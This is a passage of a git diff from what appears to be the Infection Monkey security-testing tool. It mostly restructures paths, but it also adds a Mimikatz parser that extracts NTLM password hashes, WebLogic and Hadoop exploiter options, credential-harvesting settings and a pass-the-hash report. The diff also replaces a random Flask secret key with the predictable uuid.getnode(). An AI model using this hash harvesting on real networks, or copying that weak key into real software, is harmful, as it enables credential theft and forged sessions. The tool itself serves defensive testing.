+from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
+
+
+__author__ = 'hoffer'
diff --git a/infection_monkey/transport/base.py b/monkey/infection_monkey/transport/base.py
similarity index 96%
rename from infection_monkey/transport/base.py
rename to monkey/infection_monkey/transport/base.py
index dae0ff072..e6a5bc366 100644
--- a/infection_monkey/transport/base.py
+++ b/monkey/infection_monkey/transport/base.py
@@ -3,6 +3,7 @@ from threading import Thread
g_last_served = None
+
class TransportProxyBase(Thread):
def __init__(self, local_port, dest_host=None, dest_port=None, local_host=''):
global g_last_served
diff --git a/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py
similarity index 78%
rename from infection_monkey/transport/http.py
rename to monkey/infection_monkey/transport/http.py
index 8d07fd155..00ced7198 100644
--- a/infection_monkey/transport/http.py
+++ b/monkey/infection_monkey/transport/http.py
@@ -6,9 +6,10 @@ import threading
import urllib
from logging import getLogger
from urlparse import urlsplit
+from threading import Lock
-import monkeyfs
-from base import TransportProxyBase, update_last_serve_time
+import infection_monkey.monkeyfs as monkeyfs
+from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
__author__ = 'hoffer'
@@ -183,6 +184,49 @@ class HTTPServer(threading.Thread):
self.join(timeout)
+class LockedHTTPServer(threading.Thread):
+ """
+ Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
+ You create a lock instance and pass it to this server's constructor. Then acquire the lock
+ before starting the server and after it. Once the server starts it will release the lock
+ and subsequent code will be able to continue to execute. That way subsequent code will
+ always call already running HTTP server
+ """
+ # Seconds to wait until server stops
+ STOP_TIMEOUT = 5
+
+ def __init__(self, local_ip, local_port, filename, lock, max_downloads=1):
+ self._local_ip = local_ip
+ self._local_port = local_port
+ self._filename = filename
+ self.max_downloads = max_downloads
+ self.downloads = 0
+ self._stopped = False
+ self.lock = lock
+ threading.Thread.__init__(self)
+ self.daemon = True
+
+ def run(self):
+ class TempHandler(FileServHTTPRequestHandler):
+ filename = self._filename
+
+ @staticmethod
+ def report_download(dest=None):
+ LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
+ self.downloads += 1
+
+ httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
+ self.lock.release()
+ while not self._stopped and self.downloads < self.max_downloads:
+ httpd.handle_request()
+
+ self._stopped = True
+
+ def stop(self, timeout=STOP_TIMEOUT):
+ self._stopped = True
+ self.join(timeout)
+
+
class HTTPConnectProxy(TransportProxyBase):
def run(self):
httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
diff --git a/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py
similarity index 96%
rename from infection_monkey/transport/tcp.py
rename to monkey/infection_monkey/transport/tcp.py
index eaa94de1c..e910e657f 100644
--- a/infection_monkey/transport/tcp.py
+++ b/monkey/infection_monkey/transport/tcp.py
@@ -1,9 +1,10 @@
import socket
import select
from threading import Thread
-from base import TransportProxyBase, update_last_serve_time
from logging import getLogger
+from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
+
READ_BUFFER_SIZE = 8192
DEFAULT_TIMEOUT = 30
diff --git a/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py
similarity index 95%
rename from infection_monkey/tunnel.py
rename to monkey/infection_monkey/tunnel.py
index 9a50679ff..d589ac98b 100644
--- a/infection_monkey/tunnel.py
+++ b/monkey/infection_monkey/tunnel.py
@@ -5,11 +5,11 @@ import time
from difflib import get_close_matches
from threading import Thread
-from model import VictimHost
-from network.firewall import app as firewall
-from network.info import local_ips, get_free_tcp_port
-from network.tools import check_tcp_port
-from transport.base import get_last_serve_time
+from infection_monkey.model import VictimHost
+from infection_monkey.network.firewall import app as firewall
+from infection_monkey.network.info import local_ips, get_free_tcp_port
+from infection_monkey.network.tools import check_tcp_port
+from infection_monkey.transport.base import get_last_serve_time
__author__ = 'hoffer'
diff --git a/infection_monkey/utils.py b/monkey/infection_monkey/utils.py
similarity index 92%
rename from infection_monkey/utils.py
rename to monkey/infection_monkey/utils.py
index e2f66bd03..3f04ed9fb 100644
--- a/infection_monkey/utils.py
+++ b/monkey/infection_monkey/utils.py
@@ -2,7 +2,7 @@ import os
import sys
import struct
-from config import WormConfiguration
+from infection_monkey.config import WormConfiguration
def get_monkey_log_path():
@@ -29,3 +29,4 @@ def is_64bit_python():
def is_windows_os():
return sys.platform.startswith("win")
+
diff --git a/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py
similarity index 82%
rename from infection_monkey/windows_upgrader.py
rename to monkey/infection_monkey/windows_upgrader.py
index 4ee0462c5..67b1c3cbd 100644
--- a/infection_monkey/windows_upgrader.py
+++ b/monkey/infection_monkey/windows_upgrader.py
@@ -5,12 +5,12 @@ import shutil
import time
-import monkeyfs
-from config import WormConfiguration
-from control import ControlClient
-from exploit.tools import build_monkey_commandline_explicitly
-from model import MONKEY_CMDLINE_WINDOWS
-from utils import is_windows_os, is_64bit_windows_os, is_64bit_python
+import infection_monkey.monkeyfs as monkeyfs
+from infection_monkey.config import WormConfiguration
+from infection_monkey.control import ControlClient
+from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
+from infection_monkey.model import MONKEY_CMDLINE_WINDOWS
+from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python
__author__ = 'itay.mizeretz'
diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py
new file mode 100644
index 000000000..104b5efdf
--- /dev/null
+++ b/monkey/monkey_island.py
@@ -0,0 +1,4 @@
+import monkey_island.cc.main
+
+if "__main__" == __name__:
+ monkey_island.cc.main.main()
diff --git a/monkey/monkey_island/__init__.py b/monkey/monkey_island/__init__.py
new file mode 100644
index 000000000..ee5b79ad0
--- /dev/null
+++ b/monkey/monkey_island/__init__.py
@@ -0,0 +1 @@
+__author__ = 'itay.mizeretz'
diff --git a/monkey_island/cc/__init__.py b/monkey/monkey_island/cc/__init__.py
similarity index 100%
rename from monkey_island/cc/__init__.py
rename to monkey/monkey_island/cc/__init__.py
diff --git a/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py
similarity index 88%
rename from monkey_island/cc/app.py
rename to monkey/monkey_island/cc/app.py
index 6b9ac1154..c4554ccf2 100644
--- a/monkey_island/cc/app.py
+++ b/monkey/monkey_island/cc/app.py
@@ -1,10 +1,11 @@
import os
+import uuid
from datetime import datetime
import bson
import flask_restful
from bson.json_util import dumps
-from flask import Flask, send_from_directory, make_response
+from flask import Flask, send_from_directory, make_response, Response
from werkzeug.exceptions import NotFound
from cc.auth import init_jwt
@@ -29,18 +30,24 @@ from cc.services.config import ConfigService
__author__ = 'Barak'
+HOME_FILE = 'index.html'
+
+
def serve_static_file(static_path):
if static_path.startswith('api/'):
raise NotFound()
try:
- return send_from_directory('ui/dist', static_path)
+ return send_from_directory(os.path.join(os.getcwd(), 'monkey_island/cc/ui/dist'), static_path)
except NotFound:
# Because react uses various urls for same index page, this is probably the user's intention.
+ if static_path == HOME_FILE:
+ flask_restful.abort(
+ Response("Page not found. Make sure you ran the npm script and the cwd is monkey\\monkey.", 500))
return serve_home()
def serve_home():
- return serve_static_file('index.html')
+ return serve_static_file(HOME_FILE)
def normalize_obj(obj):
@@ -77,7 +84,7 @@ def init_app(mongo_url):
app.config['MONGO_URI'] = mongo_url
- app.config['SECRET_KEY'] = os.urandom(32)
+ app.config['SECRET_KEY'] = uuid.getnode()
app.config['JWT_AUTH_URL_RULE'] = '/api/auth'
app.config['JWT_EXPIRATION_DELTA'] = env.get_auth_expiration_time()
diff --git a/monkey_island/cc/auth.py b/monkey/monkey_island/cc/auth.py
similarity index 100%
rename from monkey_island/cc/auth.py
rename to monkey/monkey_island/cc/auth.py
diff --git a/monkey_island/cc/binaries/.gitignore b/monkey/monkey_island/cc/binaries/.gitignore
similarity index 100%
rename from monkey_island/cc/binaries/.gitignore
rename to monkey/monkey_island/cc/binaries/.gitignore
diff --git a/monkey_island/cc/database.py b/monkey/monkey_island/cc/database.py
similarity index 100%
rename from monkey_island/cc/database.py
rename to monkey/monkey_island/cc/database.py
diff --git a/monkey_island/cc/encryptor.py b/monkey/monkey_island/cc/encryptor.py
similarity index 96%
rename from monkey_island/cc/encryptor.py
rename to monkey/monkey_island/cc/encryptor.py
index 90009d1b0..3a3d052f6 100644
--- a/monkey_island/cc/encryptor.py
+++ b/monkey/monkey_island/cc/encryptor.py
@@ -9,7 +9,7 @@ __author__ = "itay.mizeretz"
class Encryptor:
_BLOCK_SIZE = 32
- _DB_PASSWORD_FILENAME = "mongo_key.bin"
+ _DB_PASSWORD_FILENAME = "monkey_island/cc/mongo_key.bin"
def __init__(self):
self._load_key()
diff --git a/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py
similarity index 100%
rename from monkey_island/cc/environment/__init__.py
rename to monkey/monkey_island/cc/environment/__init__.py
diff --git a/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py
similarity index 100%
rename from monkey_island/cc/environment/aws.py
rename to monkey/monkey_island/cc/environment/aws.py
diff --git a/monkey_island/cc/environment/environment.py b/monkey/monkey_island/cc/environment/environment.py
similarity index 90%
rename from monkey_island/cc/environment/environment.py
rename to monkey/monkey_island/cc/environment/environment.py
index 094b9c235..9e89208ef 100644
--- a/monkey_island/cc/environment/environment.py
+++ b/monkey/monkey_island/cc/environment/environment.py
@@ -13,7 +13,7 @@ ENV_DICT = {
def load_env_from_file():
- with open('server_config.json', 'r') as f:
+ with open('monkey_island/cc/server_config.json', 'r') as f:
config_content = f.read()
config_json = json.loads(config_content)
return config_json['server_config']
diff --git a/monkey_island/cc/environment/standard.py b/monkey/monkey_island/cc/environment/standard.py
similarity index 100%
rename from monkey_island/cc/environment/standard.py
rename to monkey/monkey_island/cc/environment/standard.py
diff --git a/monkey_island/cc/island_logger.py b/monkey/monkey_island/cc/island_logger.py
similarity index 100%
rename from monkey_island/cc/island_logger.py
rename to monkey/monkey_island/cc/island_logger.py
diff --git a/monkey_island/cc/island_logger_default_config.json b/monkey/monkey_island/cc/island_logger_default_config.json
similarity index 96%
rename from monkey_island/cc/island_logger_default_config.json
rename to monkey/monkey_island/cc/island_logger_default_config.json
index e41ca3d9b..34a57b374 100644
--- a/monkey_island/cc/island_logger_default_config.json
+++ b/monkey/monkey_island/cc/island_logger_default_config.json
@@ -27,7 +27,7 @@
},
"root": {
- "level": "INFO",
+ "level": "DEBUG",
"handlers": ["console", "info_file_handler"]
}
}
\ No newline at end of file
diff --git a/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py
similarity index 78%
rename from monkey_island/cc/main.py
rename to monkey/monkey_island/cc/main.py
index c1133a9c8..86015b5d4 100644
--- a/monkey_island/cc/main.py
+++ b/monkey/monkey_island/cc/main.py
@@ -1,17 +1,20 @@
from __future__ import print_function # In python 2.7
import os
+import os.path
import sys
import time
import logging
BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+
if BASE_PATH not in sys.path:
sys.path.insert(0, BASE_PATH)
from cc.island_logger import json_setup_logging
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
-json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG)
+json_setup_logging(default_path=os.path.join(BASE_PATH, 'cc', 'island_logger_default_config.json'),
+ default_level=logging.DEBUG)
logger = logging.getLogger(__name__)
from cc.app import init_app
@@ -33,11 +36,11 @@ def main():
app = init_app(mongo_url)
if env.is_debug():
- app.run(host='0.0.0.0', debug=True, ssl_context=('server.crt', 'server.key'))
+ app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key'))
else:
http_server = HTTPServer(WSGIContainer(app),
- ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'),
- 'keyfile': os.environ.get('SERVER_KEY', 'server.key')})
+ ssl_options={'certfile': os.environ.get('SERVER_CRT', 'monkey_island/cc/server.crt'),
+ 'keyfile': os.environ.get('SERVER_KEY', 'monkey_island/cc/server.key')})
http_server.listen(env.get_island_port())
logger.info(
'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))
diff --git a/monkey_island/cc/resources/__init__.py b/monkey/monkey_island/cc/resources/__init__.py
similarity index 100%
rename from monkey_island/cc/resources/__init__.py
rename to monkey/monkey_island/cc/resources/__init__.py
diff --git a/monkey_island/cc/resources/client_run.py b/monkey/monkey_island/cc/resources/client_run.py
similarity index 100%
rename from monkey_island/cc/resources/client_run.py
rename to monkey/monkey_island/cc/resources/client_run.py
diff --git a/monkey_island/cc/resources/edge.py b/monkey/monkey_island/cc/resources/edge.py
similarity index 100%
rename from monkey_island/cc/resources/edge.py
rename to monkey/monkey_island/cc/resources/edge.py
diff --git a/monkey_island/cc/resources/island_logs.py b/monkey/monkey_island/cc/resources/island_logs.py
similarity index 100%
rename from monkey_island/cc/resources/island_logs.py
rename to monkey/monkey_island/cc/resources/island_logs.py
diff --git a/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py
similarity index 92%
rename from monkey_island/cc/resources/local_run.py
rename to monkey/monkey_island/cc/resources/local_run.py
index 7b8965e1e..6e7d44cb9 100644
--- a/monkey_island/cc/resources/local_run.py
+++ b/monkey/monkey_island/cc/resources/local_run.py
@@ -26,8 +26,8 @@ def run_local_monkey():
if not result:
return False, "OS Type not found"
- monkey_path = os.path.join('binaries', result['filename'])
- target_path = os.path.join(os.getcwd(), result['filename'])
+ monkey_path = os.path.join(os.getcwd(), 'monkey_island', 'cc', 'binaries', result['filename'])
+ target_path = os.path.join(os.getcwd(), 'monkey_island', result['filename'])
# copy the executable to temp path (don't run the monkey from its current location as it may delete itself)
try:
diff --git a/monkey_island/cc/resources/log.py b/monkey/monkey_island/cc/resources/log.py
similarity index 100%
rename from monkey_island/cc/resources/log.py
rename to monkey/monkey_island/cc/resources/log.py
diff --git a/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py
similarity index 100%
rename from monkey_island/cc/resources/monkey.py
rename to monkey/monkey_island/cc/resources/monkey.py
diff --git a/monkey_island/cc/resources/monkey_configuration.py b/monkey/monkey_island/cc/resources/monkey_configuration.py
similarity index 78%
rename from monkey_island/cc/resources/monkey_configuration.py
rename to monkey/monkey_island/cc/resources/monkey_configuration.py
index 6dab8dddb..7032ba643 100644
--- a/monkey_island/cc/resources/monkey_configuration.py
+++ b/monkey/monkey_island/cc/resources/monkey_configuration.py
@@ -1,7 +1,7 @@
import json
import flask_restful
-from flask import request, jsonify
+from flask import request, jsonify, abort
from cc.auth import jwt_required
from cc.services.config import ConfigService
@@ -20,5 +20,6 @@ class MonkeyConfiguration(flask_restful.Resource):
if 'reset' in config_json:
ConfigService.reset_config()
else:
- ConfigService.update_config(config_json, should_encrypt=True)
+ if not ConfigService.update_config(config_json, should_encrypt=True):
+ abort(400)
return self.get()
diff --git a/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py
similarity index 93%
rename from monkey_island/cc/resources/monkey_download.py
rename to monkey/monkey_island/cc/resources/monkey_download.py
index acf92b558..305d8c6e9 100644
--- a/monkey_island/cc/resources/monkey_download.py
+++ b/monkey/monkey_island/cc/resources/monkey_download.py
@@ -1,15 +1,14 @@
-import logging
import json
-
+import logging
import os
-from flask import request, send_from_directory
+
import flask_restful
+from flask import request, send_from_directory
__author__ = 'Barak'
logger = logging.getLogger(__name__)
-
MONKEY_DOWNLOADS = [
{
'type': 'linux',
@@ -81,7 +80,8 @@ class MonkeyDownload(flask_restful.Resource):
result = get_monkey_executable(host_os.get('type'), host_os.get('machine'))
if result:
- real_path = os.path.join('binaries', result['filename'])
+ # change resulting from new base path
+ real_path = os.path.join("monkey_island", "cc", 'binaries', result['filename'])
if os.path.isfile(real_path):
result['size'] = os.path.getsize(real_path)
return result
diff --git a/monkey_island/cc/resources/netmap.py b/monkey/monkey_island/cc/resources/netmap.py
similarity index 100%
rename from monkey_island/cc/resources/netmap.py
rename to monkey/monkey_island/cc/resources/netmap.py
diff --git a/monkey_island/cc/resources/node.py b/monkey/monkey_island/cc/resources/node.py
similarity index 100%
rename from monkey_island/cc/resources/node.py
rename to monkey/monkey_island/cc/resources/node.py
diff --git a/monkey_island/cc/resources/report.py b/monkey/monkey_island/cc/resources/report.py
similarity index 100%
rename from monkey_island/cc/resources/report.py
rename to monkey/monkey_island/cc/resources/report.py
diff --git a/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py
similarity index 100%
rename from monkey_island/cc/resources/root.py
rename to monkey/monkey_island/cc/resources/root.py
diff --git a/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py
similarity index 94%
rename from monkey_island/cc/resources/telemetry.py
rename to monkey/monkey_island/cc/resources/telemetry.py
index 052b8a045..0db3b0eb4 100644
--- a/monkey_island/cc/resources/telemetry.py
+++ b/monkey/monkey_island/cc/resources/telemetry.py
@@ -1,6 +1,5 @@
import json
import logging
-import traceback
import copy
from datetime import datetime
@@ -10,10 +9,12 @@ from flask import request
from cc.auth import jwt_required
from cc.database import mongo
+from cc.services import mimikatz_utils
from cc.services.config import ConfigService
from cc.services.edge import EdgeService
from cc.services.node import NodeService
from cc.encryptor import encryptor
+from cc.services.wmi_handler import WMIHandler
__author__ = 'Barak'
@@ -170,6 +171,8 @@ class Telemetry(flask_restful.Resource):
@staticmethod
def process_system_info_telemetry(telemetry_json):
+ users_secrets = {}
+ monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
if 'ssh_info' in telemetry_json['data']:
ssh_info = telemetry_json['data']['ssh_info']
Telemetry.encrypt_system_info_ssh_keys(ssh_info)
@@ -182,6 +185,12 @@ class Telemetry(flask_restful.Resource):
Telemetry.encrypt_system_info_creds(creds)
Telemetry.add_system_info_creds_to_config(creds)
Telemetry.replace_user_dot_with_comma(creds)
+ if 'mimikatz' in telemetry_json['data']:
+ users_secrets = mimikatz_utils.MimikatzSecrets.\
+ extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', ''))
+ if 'wmi' in telemetry_json['data']:
+ wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets)
+ wmi_handler.process_and_handle_wmi_info()
@staticmethod
def add_ip_to_ssh_keys(ip, ssh_info):
diff --git a/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py
similarity index 100%
rename from monkey_island/cc/resources/telemetry_feed.py
rename to monkey/monkey_island/cc/resources/telemetry_feed.py
diff --git a/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json
similarity index 100%
rename from monkey_island/cc/server_config.json
rename to monkey/monkey_island/cc/server_config.json
diff --git a/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py
similarity index 100%
rename from monkey_island/cc/services/__init__.py
rename to monkey/monkey_island/cc/services/__init__.py
diff --git a/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py
similarity index 94%
rename from monkey_island/cc/services/config.py
rename to monkey/monkey_island/cc/services/config.py
index 8781f2b21..64b359f61 100644
--- a/monkey_island/cc/services/config.py
+++ b/monkey/monkey_island/cc/services/config.py
@@ -86,6 +86,20 @@ SCHEMA = {
"Struts2Exploiter"
],
"title": "Struts2 Exploiter"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "WebLogicExploiter"
+ ],
+ "title": "Oracle Web Logic Exploiter"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "HadoopExploiter"
+ ],
+ "title": "Hadoop/Yarn Exploiter"
}
]
},
@@ -236,6 +250,31 @@ SCHEMA = {
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
}
}
+ },
+ "network_analysis": {
+ "title": "Network Analysis",
+ "type": "object",
+ "properties": {
+ "inaccessible_subnets": {
+ "title": "Network segmentation testing",
+ "type": "array",
+ "uniqueItems": True,
+ "items": {
+ "type": "string"
+ },
+ "default": [
+ ],
+ "description":
+ "Test for network segmentation by providing a list of"
+ " subnets that should NOT be accessible to each other."
+ " For example, given the following configuration:"
+ " '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'"
+ " a Monkey running on 10.0.0.5 will try to access machines in the following"
+ " subnets: 11.0.0.2/32, 12.2.3.0/24."
+ " An alert on successful connections will be shown in the report"
+ " Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5"
+ }
+ }
}
}
},
@@ -279,6 +318,31 @@ SCHEMA = {
}
}
},
+ "system_info": {
+ "title": "System info",
+ "type": "object",
+ "properties": {
+ "extract_azure_creds": {
+ "title": "Harvest Azure Credentials",
+ "type": "boolean",
+ "default": True,
+ "description":
+ "Determine if the Monkey should try to harvest password credentials from Azure VMs"
+ },
+ "collect_system_info": {
+ "title": "Collect system info",
+ "type": "boolean",
+ "default": True,
+ "description": "Determines whether to collect system info"
+ },
+ "should_use_mimikatz": {
+ "title": "Should use Mimikatz",
+ "type": "boolean",
+ "default": True,
+ "description": "Determines whether to use Mimikatz"
+ },
+ }
+ },
"life_cycle": {
"title": "Life cycle",
"type": "object",
@@ -339,12 +403,6 @@ SCHEMA = {
"description":
"The name of the mutex used to determine whether the monkey is already running"
},
- "collect_system_info": {
- "title": "Collect system info",
- "type": "boolean",
- "default": True,
- "description": "Determines whether to collect system info"
- },
"keep_tunnel_open_time": {
"title": "Keep tunnel open time",
"type": "integer",
@@ -536,26 +594,6 @@ SCHEMA = {
"description": "List of SSH key pairs to use, when trying to ssh into servers"
}
}
- },
- "systemInfo": {
- "title": "System collection",
- "type": "object",
- "properties": {
- "mimikatz_dll_name": {
- "title": "Mimikatz DLL name",
- "type": "string",
- "default": "mk.dll",
- "description":
- "Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)"
- },
- "extract_azure_creds": {
- "title": "Harvest Azure Credentials",
- "type": "boolean",
- "default": True,
- "description":
- "Determine if the Monkey should try to harvest password credentials from Azure VMs"
- }
- }
}
}
},
@@ -626,7 +664,9 @@ SCHEMA = {
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
- "Struts2Exploiter"
+ "Struts2Exploiter",
+ "WebLogicExploiter",
+ "HadoopExploiter"
],
"description":
"Determines which exploits to use. " + WARNING_SIGN
@@ -761,7 +801,8 @@ SCHEMA = {
80,
8080,
443,
- 8008
+ 8008,
+ 7001
],
"description": "List of ports the monkey will check if are being used for HTTP"
},
@@ -783,7 +824,8 @@ SCHEMA = {
443,
8008,
3306,
- 9200
+ 9200,
+ 7001
],
"description": "List of TCP ports the monkey will check whether they're open"
},
@@ -935,9 +977,14 @@ class ConfigService:
@staticmethod
def update_config(config_json, should_encrypt):
if should_encrypt:
- ConfigService.encrypt_config(config_json)
+ try:
+ ConfigService.encrypt_config(config_json)
+ except KeyError as e:
+ logger.error('Bad configuration file was submitted.')
+ return False
mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
logger.info('monkey config was updated')
+ return True
@staticmethod
def init_default_config():
diff --git a/monkey_island/cc/services/edge.py b/monkey/monkey_island/cc/services/edge.py
similarity index 100%
rename from monkey_island/cc/services/edge.py
rename to monkey/monkey_island/cc/services/edge.py
diff --git a/monkey/monkey_island/cc/services/groups_and_users_consts.py b/monkey/monkey_island/cc/services/groups_and_users_consts.py
new file mode 100644
index 000000000..0e22a34ba
--- /dev/null
+++ b/monkey/monkey_island/cc/services/groups_and_users_consts.py
@@ -0,0 +1,6 @@
+"""This file will include consts values regarding the groupsandusers collection"""
+
+__author__ = 'maor.rayzin'
+
+USERTYPE = 1
+GROUPTYPE = 2
diff --git a/monkey_island/cc/services/island_logs.py b/monkey/monkey_island/cc/services/island_logs.py
similarity index 100%
rename from monkey_island/cc/services/island_logs.py
rename to monkey/monkey_island/cc/services/island_logs.py
diff --git a/monkey_island/cc/services/log.py b/monkey/monkey_island/cc/services/log.py
similarity index 100%
rename from monkey_island/cc/services/log.py
rename to monkey/monkey_island/cc/services/log.py
diff --git a/monkey/monkey_island/cc/services/mimikatz_utils.py b/monkey/monkey_island/cc/services/mimikatz_utils.py
new file mode 100644
index 000000000..9aca91a59
--- /dev/null
+++ b/monkey/monkey_island/cc/services/mimikatz_utils.py
@@ -0,0 +1,52 @@
+
+__author__ = 'maor.rayzin'
+
+
+class MimikatzSecrets(object):
+
+ def __init__(self):
+ # Static class
+ pass
+
+ @staticmethod
+ def extract_sam_secrets(mim_string, users_dict):
+ users_secrets = mim_string.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:]
+
+ if mim_string.count("\n42.") != 2:
+ return {}
+
+ for sam_user_txt in users_secrets:
+ sam_user = dict([map(unicode.strip, line.split(":")) for line in
+ filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())])
+ username = sam_user.get("User")
+ users_dict[username] = {}
+
+ ntlm = sam_user.get("NTLM")
+ if not ntlm or "[hashed secret]" not in ntlm:
+ continue
+
+ users_dict[username]['SAM'] = ntlm.replace("[hashed secret]", "").strip()
+
+ @staticmethod
+ def extract_ntlm_secrets(mim_string, users_dict):
+
+ if mim_string.count("\n42.") != 2:
+ return {}
+
+ ntds_users = mim_string.split("\n42.")[2].split("\nRID :")[1:]
+
+ for ntds_user_txt in ntds_users:
+ user = ntds_user_txt.split("User :")[1].splitlines()[0].replace("User :", "").strip()
+ ntlm = ntds_user_txt.split("* Primary\n NTLM :")[1].splitlines()[0].replace("NTLM :", "").strip()
+ ntlm = ntlm.replace("[hashed secret]", "").strip()
+ users_dict[user] = {}
+ if ntlm:
+ users_dict[user]['ntlm'] = ntlm
+
+ @staticmethod
+ def extract_secrets_from_mimikatz(mim_string):
+ users_dict = {}
+ MimikatzSecrets.extract_sam_secrets(mim_string, users_dict)
+ MimikatzSecrets.extract_ntlm_secrets(mim_string, users_dict)
+
+ return users_dict
diff --git a/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py
similarity index 96%
rename from monkey_island/cc/services/node.py
rename to monkey/monkey_island/cc/services/node.py
index 47cd9cd21..072917974 100644
--- a/monkey_island/cc/services/node.py
+++ b/monkey/monkey_island/cc/services/node.py
@@ -97,6 +97,11 @@ class NodeService:
def get_monkey_label_by_id(monkey_id):
return NodeService.get_monkey_label(NodeService.get_monkey_by_id(monkey_id))
+ @staticmethod
+ def get_monkey_critical_services(monkey_id):
+ critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get('critical_services', [])
+ return critical_services
+
@staticmethod
def get_monkey_label(monkey):
label = monkey["hostname"] + " : " + monkey["ip_addresses"][0]
@@ -320,3 +325,7 @@ class NodeService:
@staticmethod
def get_node_hostname(node):
return node['hostname'] if 'hostname' in node else node['os']['version']
+
+ @staticmethod
+ def get_hostname_by_id(node_id):
+ return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1}))
diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py
new file mode 100644
index 000000000..3d7375dc1
--- /dev/null
+++ b/monkey/monkey_island/cc/services/pth_report.py
@@ -0,0 +1,285 @@
+from itertools import product
+
+from cc.database import mongo
+from bson import ObjectId
+
+from cc.services.groups_and_users_consts import USERTYPE
+from cc.services.node import NodeService
+
+__author__ = 'maor.rayzin'
+
+
+class PTHReportService(object):
+ """
+ A static class supplying utils to produce a report based on the PTH related information
+ gathered via mimikatz and wmi.
+ """
+
+ @staticmethod
+ def __dup_passwords_mongoquery():
+ """
+ This function builds and queries the mongoDB for users that are using the same passwords. this is done
+ by comparing the NTLM hash found for each user by mimikatz.
+ :return:
+ A list of mongo documents (dicts in python) that look like this:
+ {
+ '_id': The NTLM hash,
+ 'count': How many users share it.
+ 'Docs': the name, domain name, _Id, and machine_id of the users
+ }
+ """
+
+
+ pipeline = [
+ {"$match": {
+ 'NTLM_secret': {
+ "$exists": "true", "$ne": None}
+ }},
+ {
+ "$group": {
+ "_id": {
+ "NTLM_secret": "$NTLM_secret"},
+ "count": {"$sum": 1},
+ "Docs": {"$push": {'_id': "$_id", 'name': '$name', 'domain_name': '$domain_name',
+ 'machine_id': '$machine_id'}}
+ }},
+ {'$match': {'count': {'$gt': 1}}}
+ ]
+ return mongo.db.groupsandusers.aggregate(pipeline)
+
+ @staticmethod
+ def __get_admin_on_machines_format(admin_on_machines, domain_name):
+ """
+ This function finds for each admin user, which machines its an admin of, and compile them to a list.
+ :param admin_on_machines: A list of "monkey" documents "_id"s
+ :param domain_name: The admins' domain name
+ :return:
+ A list of formatted machines names *domain*\*hostname*, to use in shared admins issues.
+ """
+ machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1})
+ return [domain_name + '\\' + i['hostname'] for i in list(machines)]
+
+ @staticmethod
+ def __strong_users_on_crit_query():
+ """
+ This function build and query the mongoDB for users that mimikatz was able to find cached NTLM hashes and
+ are administrators on machines with services predefined as important services thus making these machines
+ critical.
+ :return:
+ A list of said users
+ """
+ pipeline = [
+ {
+ '$unwind': '$admin_on_machines'
+ },
+ {
+ '$match': {'type': USERTYPE, 'domain_name': {'$ne': None}}
+ },
+ {
+ '$lookup':
+ {
+ 'from': 'monkey',
+ 'localField': 'admin_on_machines',
+ 'foreignField': '_id',
+ 'as': 'critical_machine'
+ }
+ },
+ {
+ '$match': {'critical_machine.critical_services': {'$ne': []}}
+ },
+ {
+ '$unwind': '$critical_machine'
+ }
+ ]
+ return mongo.db.groupsandusers.aggregate(pipeline)
+
+ @staticmethod
+ def __build_dup_user_label(i):
+ return i['hostname'] + '\\' + i['username'] if i['hostname'] else i['domain_name'] + '\\' + i['username']
+
